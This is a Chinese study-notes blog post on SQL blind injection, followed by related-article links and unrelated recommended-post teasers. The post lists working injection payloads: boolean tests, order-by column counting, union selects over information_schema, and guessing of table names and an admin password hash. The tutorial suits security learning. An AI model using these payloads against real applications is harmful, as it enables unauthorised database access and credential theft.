前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入

我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式

如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲注

猜测是否存在SQL注入:

1' and 1=1 --

如果正确返回ID为1的信息,那么可以猜测存在SQL注入漏洞

再输入:

1' and 1=2 --

如果什么都不返回,到这里就可以确定存在SQL注入了

猜测查询的字段数:

1' order by 5 --

发现什么都没有返回,说明该查询的字段少于5个字段

然后每次减小1,直到2的时候,发现返回了信息,说明该SQL语句查询的有两个字段

到这里就可以发现盲注和一般SQL注入的区别:

单引号前面至少有一个正确的ID,因为只有查询到了信息,才会有显示

进一步,使用联合查询:

1' union select user(),database() --

查询数据库信息

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --

查询数据库里面所有表的信息

1' and 1=0 union select null,table_name from information_schema.tables#

查询当前表:

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #

无法使用union,order by语句,或者无法查找infomation_schema数据库时

和一般SQL注入的猜测方法一致

猜字段名:

1' and [猜测字段名] is not null --

如果正常返回,说明该字段存在

猜当前表名:

1' and [猜测表名].[已猜测到的字段名] is not null --

如果正常返回,说明猜测正确

猜当前库里面其他的表名:

1' and (select count(*) from [猜测表名])>0 --

如果正常返回,说明该表存在

表和字段对应关系:

1' and [猜测表].[猜测字段] is not null --

如果正常返回,说明该对应关系存在

猜字段内容:

1' and user='admin

正确返回,说明该表存在user=admin的信息

1' or user like '%a%

正确返回,结果就是user字段所有内容包含字符a的信息

2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

注意:这里的开头的id不能写死,要尝试多个

比如ID=1的user就是admin,那么后半句无论真假,都会返回admin的信息

如果ID=1的user不是admin,如果显示多条信息,那么猜测正确

之前都有提过,这里的猜测可以结合Burpsuite爆破

这一节的内容有点水,不过还是需要专门来讨论下SQL盲注

Kali学习笔记43:SQL盲注的更多相关文章

  1. SQL盲注学习-布尔型

    本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...

  2. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  3. Kali学习笔记42:SQL手工注入(4)

    前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...

  4. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  5. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  6. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL   SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...

  7. (转)SQL盲注攻击的简单介绍

    转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介     1.1 普通SQL注入技术概述     目前没有对SQL ...

  8. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  9. Oracle学习笔记三 SQL命令

    SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)  

随机推荐

  1. 2018-2019-2 网络对抗技术 20165323 Exp4 恶意代码分析

    一.原理与实践说明 1.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行. 分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals,s ...

  2. leetcode python快乐数

    编写一个算法来判断一个数是不是“快乐数” “快乐数”的定义为:对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和,然后重复该过程直到为1,也可能是无限循环但始终变不到1. 如果可以变为1,那 ...

  3. 想明白为什么C->D

    C公司为什么不行? 钱不够 第一个原因是在新世界,C能够给我的钱是远远低于市场价的.如果按照现公司的行情,也就一个社招人员的白菜价. 领导不行 C公司的领导,从面相上看就无法让我信服.领导力中下,忽悠 ...

  4. openstack虚拟机rescue模式

    nova rescue vm_instance es.ops 20190426 linux虚拟机在出现类似kernel panic后,根据panic信息以及故障前的操作,定位问题的发生点,进行修复 n ...

  5. 探索Java9 模块系统和反应流

    Java9 新特性 ,Java 模块化,Java 反应流 Reactive,Jigsaw 模块系统 Java平台模块系统(JPMS)是Java9中的特性,它是Jigsaw项目的产物.简而言之,它以更简 ...

  6. Caused by: java.lang.IllegalStateException: RedisConnectionFactory is required

    org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'redisTemplat ...

  7. python_web框架

    一.web框架 web框架: 自己完成socket的web框架:如,Tornado等 由WSGI完成socket的web框架:如,Django.flash等 两种实现过程: 第二种WSGI方式的,由于 ...

  8. Codeforces 959F Mahmoud and Ehab and yet another xor task 线性基 (看题解)

    Mahmoud and Ehab and yet another xor task 存在的元素的方案数都是一样的, 啊, 我好菜啊. 离线之后用线性基取check存不存在,然后计算答案. #inclu ...

  9. numpy学习总结(重点讲解索引方式)

    numpy思维导图 ndarray对象是什么 NumPy 最重要的一个特点是其 N 维数组对象 ndarray,它是一系列同类型数据的集合,以 0 下标为开始进行集合中元素的索引. ndarray 对 ...

  10. CentOS7完成mysql的安装和远程访问

    详见链接https://blog.csdn.net/weixin_42266606/article/details/80879571 (此处我的本地用户名root,密码root:远程用户名root,密 ...